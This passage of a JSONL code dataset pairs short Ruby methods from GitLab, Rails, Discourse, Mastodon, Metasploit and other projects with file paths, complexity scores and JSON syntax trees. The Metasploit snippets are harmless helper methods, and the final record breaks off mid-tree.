{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/lib/sidekiq/sd_notify.rb","start_line":71,"raw_source":"def self.errno(errno, unset_env = false)\n      notify(\"#{ERRNO}#{errno}\", unset_env)\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"errno\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"errno\"]},{\"type\":\"optarg\",\"children\":[\"unset_env\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"notify\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ERRNO\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"errno\"]}]}]},{\"type\":\"lvar\",\"children\":[\"unset_env\"]}]}]}","id":"b5669859-1f76-41ba-a66b-72fc5ff36d57"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/exchange_chainedserializationbinder_rce.rb","start_line":115,"raw_source":"def username\n    datastore['HttpUsername']\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"username\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HttpUsername\"]}]}]}","id":"317446bf-9b56-4891-8500-1000f66abb36"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/reviewable.rb","start_line":839,"raw_source":"def update_flag_stats(status:, user_ids:)\n    return if %i[agreed disagreed ignored].exclude?(status)\n\n    # Don't count self-flags\n    user_ids -= [post&.user_id]\n    return if user_ids.blank?\n\n    result = DB.query(<<~SQL, user_ids: user_ids)\n      UPDATE user_stats\n      SET flags_#{status} = flags_#{status} + 1\n      WHERE user_id IN (:user_ids)\n      RETURNING user_id, flags_agreed + flags_disagreed + flags_ignored AS total\n    SQL\n\n    user_ids =\n      result.select { |r| r.total > Jobs::TruncateUserFlagStats.truncate_to }.map(&:user_id)\n    return if user_ids.blank?\n\n    Jobs.enqueue(:truncate_user_flag_stats, user_ids: user_ids)\n  end","complexity_score":23.6,"ast_json":"{\"type\":\"def\",\"children\":[\"update_flag_stats\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"status\"]},{\"type\":\"kwarg\",\"children\":[\"user_ids\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"agreed\"]},{\"type\":\"sym\",\"children\":[\"disagreed\"]},{\"type\":\"sym\",\"children\":[\"ignored\"]}]},\"exclude?\",{\"type\":\"lvar\",\"children\":[\"status\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user_ids\"]},\"-\",{\"type\":\"array\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"post\"]},\"user_id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_ids\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE user_stats\\n\"]},{\"type\":\"str\",\"children\":[\"SET flags_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]}]},{\"type\":\"str\",\"children\":[\" = flags_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]}]},{\"type\":\"str\",\"children\":[\" + 1\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE user_id IN (:user_ids)\\n\"]},{\"type\":\"str\",\"children\":[\"RETURNING user_id, flags_agreed + flags_disagreed + flags_ignored AS total\\n\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_ids\"]},{\"type\":\"lvar\",\"children\":[\"user_ids\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"user_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"r\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"total\"]},\">\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Jobs\"]},\"TruncateUserFlagStats\"]},\"truncate_to\"]}]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_ids\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Jobs\"]},\"enqueue\",{\"type\":\"sym\",\"children\":[\"truncate_user_flag_stats\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_ids\"]},{\"type\":\"lvar\",\"children\":[\"user_ids\"]}]}]}]}]}]}","id":"d464b77c-7fab-4c85-8b49-ba0132c96ce8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/specs/features/api/1_manage/migration/gitlab_migration_large_project_spec.rb","start_line":463,"raw_source":"def save_json(json)\n        File.open(\"tmp/gitlab-import-data.json\", \"w\") { |file| file.write(JSON.pretty_generate(json)) }\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"save_json\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"json\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"str\",\"children\":[\"tmp/gitlab-import-data.json\"]},{\"type\":\"str\",\"children\":[\"w\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"write\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"pretty_generate\",{\"type\":\"lvar\",\"children\":[\"json\"]}]}]}]}]}","id":"14a6211b-c6cd-4489-a452-fa8c7b8f7830"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/admin/settings/project_custom_fields_controller.rb","start_line":64,"raw_source":"def new\n      @custom_field = ProjectCustomField.new(custom_field_section_id: params[:custom_field_section_id],\n                                             field_format: params[:field_format])\n\n      respond_to :html\n    end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"new\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@custom_field\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ProjectCustomField\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"custom_field_section_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"custom_field_section_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"field_format\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"field_format\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"respond_to\",{\"type\":\"sym\",\"children\":[\"html\"]}]}]}]}","id":"fa5f915b-d246-4161-85eb-f6266a4d6d16"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/shared_contexts/projects/container_repository/cleanup_tags_service_shared_context.rb","start_line":4,"raw_source":"def expected_service_response(status: :success, deleted: [], original_size: tags.size)\n    {\n      status: status,\n      deleted: deleted,\n      original_size: original_size,\n      before_delete_size: deleted&.size\n    }.compact.merge(deleted_size: deleted&.size)\n  end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"expected_service_response\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"status\",{\"type\":\"sym\",\"children\":[\"success\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"deleted\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"original_size\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tags\"]},\"size\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"lvar\",\"children\":[\"status\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"deleted\"]},{\"type\":\"lvar\",\"children\":[\"deleted\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"original_size\"]},{\"type\":\"lvar\",\"children\":[\"original_size\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"before_delete_size\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"deleted\"]},\"size\"]}]}]},\"compact\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"deleted_size\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"deleted\"]},\"size\"]}]}]}]}]}","id":"1ceb86b7-fd38-4538-970c-70d0dc6ab3c4"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/pages/projects/index.rb","start_line":491,"raw_source":"def within_sort_row(index, &)\n        field_component = page.all(\"[data-test-selector='sort-by-field']\")[index]\n        within(field_component, &)\n      end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"within_sort_row\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"index\"]},{\"type\":\"blockarg\",\"children\":[null]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"field_component\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"all\",{\"type\":\"str\",\"children\":[\"[data-test-selector='sort-by-field']\"]}]},\"[]\",{\"type\":\"lvar\",\"children\":[\"index\"]}]}]},{\"type\":\"send\",\"children\":[null,\"within\",{\"type\":\"lvar\",\"children\":[\"field_component\"]},{\"type\":\"block_pass\",\"children\":[null]}]}]}]}","id":"03a2207f-0314-49f5-813a-40ac871bb602"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/ansi2json/style.rb","start_line":28,"raw_source":"def reset!\n          @fg = nil\n          @bg = nil\n          @mask = 0\n          @formats = []\n        end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"reset!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@fg\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@bg\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@mask\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"ivasgn\",\"children\":[\"@formats\",{\"type\":\"array\",\"children\":[]}]}]}]}","id":"fe3ff874-e366-41b8-8680-ff3422ed0af4"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/spec/integration/suite_hooks_errors_spec.rb","start_line":35,"raw_source":"def run_spec_expecting_non_zero(before_or_after)\n    write_file \"the_spec.rb\", \"\n      RSpec.configure do |c|\n        c.#{before_or_after}(:suite) do\n          raise 'boom'\n        end\n      end\n\n      RSpec.describe do\n        it { }\n      end\n    \"\n\n    run_command \"the_spec.rb\"\n    expect(last_cmd_exit_status).to eq(error_exit_code)\n    normalize_durations(last_cmd_stdout)\n  end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"run_spec_expecting_non_zero\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"before_or_after\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"write_file\",{\"type\":\"str\",\"children\":[\"the_spec.rb\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      RSpec.configure do |c|\\n\"]},{\"type\":\"str\",\"children\":[\"        c.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"before_or_after\"]}]},{\"type\":\"str\",\"children\":[\"(:suite) do\\n\"]},{\"type\":\"str\",\"children\":[\"          raise 'boom'\\n\"]},{\"type\":\"str\",\"children\":[\"        end\\n\"]},{\"type\":\"str\",\"children\":[\"      end\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      RSpec.describe do\\n\"]},{\"type\":\"str\",\"children\":[\"        it { }\\n\"]},{\"type\":\"str\",\"children\":[\"      end\\n\"]},{\"type\":\"str\",\"children\":[\"    \"]}]}]},{\"type\":\"send\",\"children\":[null,\"run_command\",{\"type\":\"str\",\"children\":[\"the_spec.rb\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"last_cmd_exit_status\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"send\",\"children\":[null,\"error_exit_code\"]}]}]},{\"type\":\"send\",\"children\":[null,\"normalize_durations\",{\"type\":\"send\",\"children\":[null,\"last_cmd_stdout\"]}]}]}]}","id":"39cf9155-23d9-4055-b1d4-bd9dab753e89"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/commands/unused_routes/unused_routes_command.rb","start_line":56,"raw_source":"def routes\n          @routes ||= begin\n            routes = Rails.application.routes.routes.select do |route|\n              RouteInfo.new(route).unused?\n            end\n\n            ActionDispatch::Journey::Routes.new(routes)\n          end\n        end","complexity_score":12.5,"ast_json":"{\"type\":\"def\",\"children\":[\"routes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@routes\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"routes\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"application\"]},\"routes\"]},\"routes\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"route\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RouteInfo\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"route\"]}]},\"unused?\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionDispatch\"]},\"Journey\"]},\"Routes\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"routes\"]}]}]}]}]}","id":"c166dbbc-4698-47eb-8957-c3a03c6d5842"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/mailers/enterprise/agent_notifications/conversation_notifications_mailer.rb","start_line":2,"raw_source":"def sla_missed_first_response(conversation, agent, sla_policy)\n    return unless smtp_config_set_or_development?\n\n    @agent = agent\n    @conversation = conversation\n    @sla_policy = sla_policy\n    subject = \"Conversation [ID - #{@conversation.display_id}] missed SLA for first response\"\n    @action_url = app_account_conversation_url(account_id: @conversation.account_id, id: @conversation.display_id)\n    send_mail_with_liquid(to: @agent.email, subject: subject) and return\n  end","complexity_score":14.8,"ast_json":"{\"type\":\"def\",\"children\":[\"sla_missed_first_response\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conversation\"]},{\"type\":\"arg\",\"children\":[\"agent\"]},{\"type\":\"arg\",\"children\":[\"sla_policy\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"smtp_config_set_or_development?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@agent\",{\"type\":\"lvar\",\"children\":[\"agent\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@conversation\",{\"type\":\"lvar\",\"children\":[\"conversation\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@sla_policy\",{\"type\":\"lvar\",\"children\":[\"sla_policy\"]}]},{\"type\":\"lvasgn\",\"children\":[\"subject\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Conversation [ID - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conversation\"]},\"display_id\"]}]},{\"type\":\"str\",\"children\":[\"] missed SLA for first response\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@action_url\",{\"type\":\"send\",\"children\":[null,\"app_account_conversation_url\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conversation\"]},\"account_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conversation\"]},\"display_id\"]}]}]}]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"send_mail_with_liquid\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@agent\"]},\"email\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"subject\"]},{\"type\":\"lvar\",\"children\":[\"subject\"]}]}]}]},{\"type\":\"return\",\"children\":[]}]}]}]}","id":"469fbb76-9f3b-4175-a2bd-9a835a22a942"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb","start_line":252,"raw_source":"def prepared_statements?\n        @prepared_statements && !prepared_statements_disabled_cache.include?(object_id)\n      end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"prepared_statements?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@prepared_statements\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"prepared_statements_disabled_cache\"]},\"include?\",{\"type\":\"send\",\"children\":[null,\"object_id\"]}]},\"!\"]}]}]}","id":"5bff34ff-de4d-4e68-92f8-21ea5d39cc2f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/spec/lib/msf/core/auxiliary/ubiquiti_spec.rb","start_line":31,"raw_source":"def myworkspace\n      raise StandardError.new(\"This method needs to be stubbed.\")\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"myworkspace\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]},\"new\",{\"type\":\"str\",\"children\":[\"This method needs to be stubbed.\"]}]}]}]}","id":"daa64a3d-e220-4ed0-9c9a-35cbe03c1350"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/circuit_breaker/store.rb","start_line":17,"raw_source":"def increment(key, amount = 1, opts = {})\n        expires = opts[:expires]\n\n        with do |redis|\n          redis.multi do |multi|\n            multi.incrby(key, amount)\n            multi.expire(key, expires) if expires\n          end\n        end\n      end","complexity_score":12.45,"ast_json":"{\"type\":\"def\",\"children\":[\"increment\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"optarg\",\"children\":[\"amount\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expires\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"expires\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"redis\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"redis\"]},\"multi\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"multi\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"multi\"]},\"incrby\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"amount\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expires\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"multi\"]},\"expire\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"expires\"]}]},null]}]}]}]}]}]}","id":"a464be3b-c947-4732-bd16-fd359f576d6f"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/db/migrate/20180812173710_copy_status_stats.rb","start_line":41,"raw_source":"def up_slow\n    say 'Upsert is not available in PostgreSQL below 9.5, falling back to slow import of counters'\n\n    # We cannot use bulk INSERT or overarching transactions here because of possible\n    # uniqueness violations that we need to skip over\n    Status.unscoped.select('id, reblogs_count, favourites_count, created_at, updated_at').find_each do |status|\n      params = [status.id, status.reblogs_count, status.favourites_count, status.created_at, status.updated_at]\n      exec_insert('INSERT INTO status_stats (status_id, reblogs_count, favourites_count, created_at, updated_at) VALUES ($1, $2, $3, $4, $5)', nil, params)\n    rescue ActiveRecord::RecordNotUnique\n      next\n    end\n  end","complexity_score":15.8,"ast_json":"{\"type\":\"def\",\"children\":[\"up_slow\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"say\",{\"type\":\"str\",\"children\":[\"Upsert is not available in PostgreSQL below 9.5, falling back to slow import of counters\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Status\"]},\"unscoped\"]},\"select\",{\"type\":\"str\",\"children\":[\"id, reblogs_count, favourites_count, created_at, updated_at\"]}]},\"find_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"status\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"reblogs_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"favourites_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"created_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"updated_at\"]}]}]},{\"type\":\"send\",\"children\":[null,\"exec_insert\",{\"type\":\"str\",\"children\":[\"INSERT INTO status_stats (status_id, reblogs_count, favourites_count, created_at, updated_at) VALUES ($1, $2, $3, $4, $5)\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"params\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotUnique\"]}]},null,{\"type\":\"next\",\"children\":[]}]},null]}]}]}]}","id":"bea68a12-6dc9-4f70-8768-1984d2081f71"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/mutations/work_items/create.rb","start_line":96,"raw_source":"def resolve(project_path: nil, namespace_path: nil, **attributes)\n        container_path = project_path || namespace_path\n        container = authorized_find!(container_path)\n        params = params_with_work_item_type(attributes).merge(author_id: current_user.id,\n          scope_validator: context[:scope_validator])\n        params = params_with_resolve_discussion_params(params)\n        type = params[:work_item_type]\n        raise_resource_not_available_error! unless type\n\n        check_feature_available!(container, type, params)\n        widget_params = extract_widget_params!(type, params, container)\n\n        create_result = ::WorkItems::CreateService.new(\n          container: container,\n          current_user: current_user,\n          params: params,\n          widget_params: widget_params\n        ).execute\n\n        check_spam_action_response!(create_result[:work_item]) if create_result[:work_item]\n\n        {\n          work_item: create_result.success? ? create_result[:work_item] : nil,\n          errors: create_result.errors\n        }\n      end","complexity_score":34.6,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"project_path\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"namespace_path\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwrestarg\",\"children\":[\"attributes\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"container_path\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project_path\"]},{\"type\":\"lvar\",\"children\":[\"namespace_path\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"container\",{\"type\":\"send\",\"children\":[null,\"authorized_find!\",{\"type\":\"lvar\",\"children\":[\"container_path\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params_with_work_item_type\",{\"type\":\"lvar\",\"children\":[\"attributes\"]}]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope_validator\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"scope_validator\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"send\",\"children\":[null,\"params_with_resolve_discussion_params\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"type\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"work_item_type\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},null,{\"type\":\"send\",\"children\":[null,\"raise_resource_not_available_error!\"]}]},{\"type\":\"send\",\"children\":[null,\"check_feature_available!\",{\"type\":\"lvar\",\"children\":[\"container\"]},{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"params\"]}]},{\"type\":\"lvasgn\",\"children\":[\"widget_params\",{\"type\":\"send\",\"children\":[null,\"extract_widget_params!\",{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"params\"]},{\"type\":\"lvar\",\"children\":[\"container\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"create_result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"WorkItems\"]},\"CreateService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"container\"]},{\"type\":\"lvar\",\"children\":[\"container\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"lvar\",\"children\":[\"params\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"widget_params\"]},{\"type\":\"lvar\",\"children\":[\"widget_params\"]}]}]}]},\"execute\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"create_result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"work_item\"]}]},{\"type\":\"send\",\"children\":[null,\"check_spam_action_response!\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"create_result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"work_item\"]}]}]},nu